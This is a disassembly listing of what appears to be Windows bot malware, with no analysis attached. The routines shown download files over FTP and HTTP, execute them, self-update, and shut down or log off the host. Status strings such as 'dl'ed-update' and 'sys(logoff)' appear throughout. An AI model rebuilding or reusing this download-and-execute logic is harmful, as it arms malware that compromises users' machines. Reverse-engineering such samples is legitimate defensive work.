[esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CE9B: ; CODE XREF: sub_41C710+5FCj lea ecx, [ebp+118h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D040 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CFB3 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CFB5 ; --------------------------------------------------------------------------- loc_41CFB3: ; CODE XREF: sub_41C710+896j xor edi, edi loc_41CFB5: ; CODE XREF: sub_41C710+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FDC lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FDC lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FDC lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41D040: ; CODE XREF: sub_41C710+7A1j lea ecx, [ebp+0EAh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D2A1 push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016B8 push offset word_44956A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D1EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41D1EC: ; CODE XREF: sub_41C710+A64j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D214 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41D216 ; --------------------------------------------------------------------------- loc_41D214: ; CODE XREF: sub_41C710+AF7j xor edi, edi loc_41D216: ; CODE XREF: sub_41C710+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FDC lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FDC lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013DE loc_41D2A1: ; CODE XREF: sub_41C710+116j ; sub_41C710+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D312: ; CODE XREF: sub_41C710+549j ; sub_41C710+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C710 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_401B4Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D640 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D6D0 proc near ; CODE XREF: sub_4014BAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D6D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D6D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D770 proc near ; CODE XREF: sub_4021E9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D830: ; CODE XREF: ___:00401168j ; ___:loc_4019F6j push esi mov esi, ecx call sub_4015CD test byte ptr [esp+8], 1 jz short loc_41D848 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D848: ; CODE XREF: ___:0041D83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D860 proc near ; CODE XREF: sub_4015CDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D860 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D930 proc near ; CODE XREF: sub_401C94j var_48 = dword ptr -48h var_40 = byte ptr -40h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_10C = byte ptr 110h arg_11C = byte ptr 120h arg_12C = byte ptr 130h arg_110C = dword ptr 1110h arg_1110 = byte ptr 1114h arg_112C = dword ptr 1130h arg_1134 = dword ptr 1138h arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43C3F2 push eax mov eax, 1158h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi push offset byte_448F40 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41E035 lea ebx, [esi+65h] push offset byte_448F40 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41E035 lea ecx, [esi+26h] push offset byte_448F40 call sub_4012EE test eax, eax jz loc_41E035 mov al, [esi+91h] test al, al jz short loc_41D9D1 push offset byte_448F40 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D9C4 push offset byte_448F40 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D9D1 loc_41D9C4: ; CODE XREF: sub_41D930+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41E03D ; --------------------------------------------------------------------------- loc_41D9D1: ; CODE XREF: sub_41D930+70j ; sub_41D930+92j push offset asc_444C74 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41DA5E push offset asc_444C74 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016B8 mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41DA6F loc_41DA5E: ; CODE XREF: sub_41D930+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41DA6F: ; CODE XREF: sub_41D930+12Cj push offset asc_444C74 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016B8 lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FDC lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017EE push eax call near ptr 2810000h nop lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015E1 mov al, [esi+91h] test al, al jz loc_41DC04 call sub_401E1F ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017EE push eax call sub_401A7D ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DB1C lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41E014 ; --------------------------------------------------------------------------- loc_41DB1C: ; CODE XREF: sub_41D930+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017EE push eax lea ecx, [esi+3Bh] call sub_4017EE push eax call sub_402266 add esp, 0Ch test eax, eax jnz short loc_41DB73 lea ecx, [esi+7Ah] call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41E015 ; --------------------------------------------------------------------------- loc_41DB73: ; CODE XREF: sub_41D930+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_4016B3 add esp, 10h test eax, eax jnz short loc_41DBF2 mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41E015 ; --------------------------------------------------------------------------- loc_41DBF2: ; CODE XREF: sub_41D930+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D66 add esp, 4 jmp loc_41DE7B ; --------------------------------------------------------------------------- loc_41DC04: ; CODE XREF: sub_41D930+195j lea ecx, [esp+28h+arg_20] call sub_40142E lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_40142E push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017EE push eax call sub_401AA0 mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DC87 lea ecx, [esi+7Ah] call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E8EAB call sub_40120D ; --------------------------------------------------------------------------- db 53h db 90h db 0E8h, 0B7h, 0B9h ; --------------------------------------------------------------------------- imul esi, [ecx-17h], 0BEh loc_41DC87: ; CODE XREF: sub_41D930+310j push ebp mov ecx, edi call sub_4017EE push eax lea ecx, [esi+26h] call sub_4017EE push eax lea edx, [esp+34h+arg_20] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+28h+arg_20] push 0 call sub_4013E3 push eax lea ecx, [esp+30h+arg_20] call sub_4017EE push eax push ebx nop call near ptr 71AB428Ah lea edi, [esi+7Ah] mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017EE push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DD80 mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+38h+var_28] mov [esp+38h+var_28], esi push ecx mov ecx, offset byte_4E8EAB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+38h+var_1C] mov byte ptr [esp+38h+arg_1134], 3 call sub_401226 lea ecx, [esp+38h+arg_10] mov byte ptr [esp+38h+arg_1134], 2 call sub_401226 lea ecx, [esp+38h+var_4] mov [esp+38h+arg_1134], 0FFFFFFFFh call sub_401226 jmp loc_41E048 ; --------------------------------------------------------------------------- loc_41DD80: ; CODE XREF: sub_41D930+3DBj ; sub_41D930+484j ... mov eax, [esp+38h+var_24] push 0 lea edx, [esp+3Ch+arg_12C] push 1000h push edx push eax call near ptr 71AB615Ah nop mov ebp, eax test ebp, ebp jle short loc_41DDF8 cmp ebp, 1000h jge short loc_41DDB0 mov [esp+ebp+48h+arg_11C], 0 loc_41DDB0: ; CODE XREF: sub_41D930+476j xor edi, edi test ebp, ebp jle short loc_41DD80 loc_41DDB6: ; CODE XREF: sub_41D930+4A5j push 4 lea ecx, [esp+edi+4Ch+arg_11C] push offset asc_444ED8 ; "\r\n\r\n" push ecx nop call near ptr 77C47A50h add esp, 0Ch test eax, eax jz short loc_41DDD9 inc edi cmp edi, ebp jl short loc_41DDB6 jmp short loc_41DD80 ; --------------------------------------------------------------------------- loc_41DDD9: ; CODE XREF: sub_41D930+4A0j add edi, 4 cmp edi, ebp jge short loc_41DDF8 loc_41DDE0: ; CODE XREF: sub_41D930+4C6j movsx edx, [esp+edi+48h+arg_11C] push ebx push edx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DDE0 loc_41DDF8: ; CODE XREF: sub_41D930+46Ej ; sub_41D930+4AEj ... mov edi, [esp+48h+var_34] push 0 lea eax, [esp+4Ch+arg_11C] push 1000h push eax push edi call near ptr 71AB615Ah nop mov ebp, eax test ebp, ebp jle short loc_41DE48 cmp ebp, 1000h jge short loc_41DE28 mov [esp+ebp+58h+arg_10C], 0 loc_41DE28: ; CODE XREF: sub_41D930+4EEj xor edi, edi test ebp, ebp jle short loc_41DDF8 loc_41DE2E: ; CODE XREF: sub_41D930+514j movsx ecx, [esp+edi+58h+arg_10C] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DE2E jmp short loc_41DDF8 ; --------------------------------------------------------------------------- loc_41DE48: ; CODE XREF: sub_41D930+4E6j push ebx nop call near ptr 77C40AB1h add esp, 4 push edi nop call near ptr 71AB9639h lea ecx, [esp+5Ch+var_40] mov [esp+5Ch+arg_1110], 3 call sub_401226 lea ecx, [esp+5Ch+var_10] mov [esp+5Ch+arg_1110], 2 call sub_401226 loc_41DE7B: ; CODE XREF: sub_41D930+2CFj mov al, [esi+90h] test al, al jnz loc_41DF17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_40168B mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D8085 call sub_401857 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41E00C push offset byte_448F40 mov ecx, ebp call sub_4017EE push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017EE push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_40168B mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h jmp loc_41E00C ; --------------------------------------------------------------------------- loc_41DF17: ; CODE XREF: sub_41D930+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017EE lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_40168B mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D8085 call sub_401857 push 0 push 5 push 14h push 1 push 4 push 10h push 15h lea edx, [esp+90h+var_40] push 51h push edx call sub_4019C4 add esp, 3Ch mov ecx, eax mov [esp+5Ch+arg_1110], 5 call sub_4014DD push eax mov ecx, ebx call sub_4014DD push eax call sub_402167 add esp, 8 lea ecx, [esp+5Ch+var_40] mov bl, al mov [esp+5Ch+arg_1110], 2 call sub_401226 test bl, bl jz short loc_41DFE7 mov al, byte_4498A6 test al, al jz short loc_41DFB6 push offset dword_449844 mov ecx, offset dword_44AD80 call sub_401451 loc_41DFB6: ; CODE XREF: sub_41D930+675j mov al, byte_4498EF test al, al jz short loc_41DFCE push offset byte_44991F mov ecx, offset dword_44AD80 call sub_401951 loc_41DFCE: ; CODE XREF: sub_41D930+68Dj mov ecx, offset dword_44AD80 call sub_401E79 push 1 mov byte_4E8E54, 0 nop call near ptr 77C39E7Eh loc_41DFE7: ; CODE XREF: sub_41D930+66Cj mov ecx, edi call sub_4014DD mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 loc_41E00C: ; CODE XREF: sub_41D930+597j ; sub_41D930+5E2j mov [esp+60h+var_48], esi lea edx, [esp+60h+var_48] loc_41E014: ; CODE XREF: sub_41D930+1E7j push edx loc_41E015: ; CODE XREF: sub_41D930+23Ej ; sub_41D930+2BDj mov ecx, offset byte_4E8EAB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_2C] mov [esp+60h+arg_110C], 0FFFFFFFFh call sub_401226 jmp short loc_41E048 ; --------------------------------------------------------------------------- loc_41E035: ; CODE XREF: sub_41D930+36j ; sub_41D930+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41E03D: ; CODE XREF: sub_41D930+9Cj push eax mov ecx, offset byte_4E8EAB call sub_40120D sub_41D930 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D930 loc_41E048: ; CODE XREF: sub_41D930+44Bj ; sub_41D930+703j mov ecx, [esp+38h+arg_112C] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D930 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E240 proc near ; CODE XREF: sub_401BA4j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E240 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_41E240 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E3C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E41B push offset dword_444FDC lea ecx, [edi+69h] call sub_40168B mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 14h push 0 push 6 call near ptr 28C0A8Bh nop pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E41B: ; CODE XREF: ___:0041E3DEj lea ecx, [esi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E46A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_40168B mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 14h push 0 push 5 nop call near ptr 28C0A8Bh pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E46A: ; CODE XREF: ___:0041E42Dj lea ecx, [esi+60h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E4B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_40168B mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 14h push 0 push 4 call near ptr 28C0A8Bh nop loc_41E4B1: ; CODE XREF: ___:0041E47Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E500 proc near ; CODE XREF: sub_401F7Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E500 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_41E500 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword 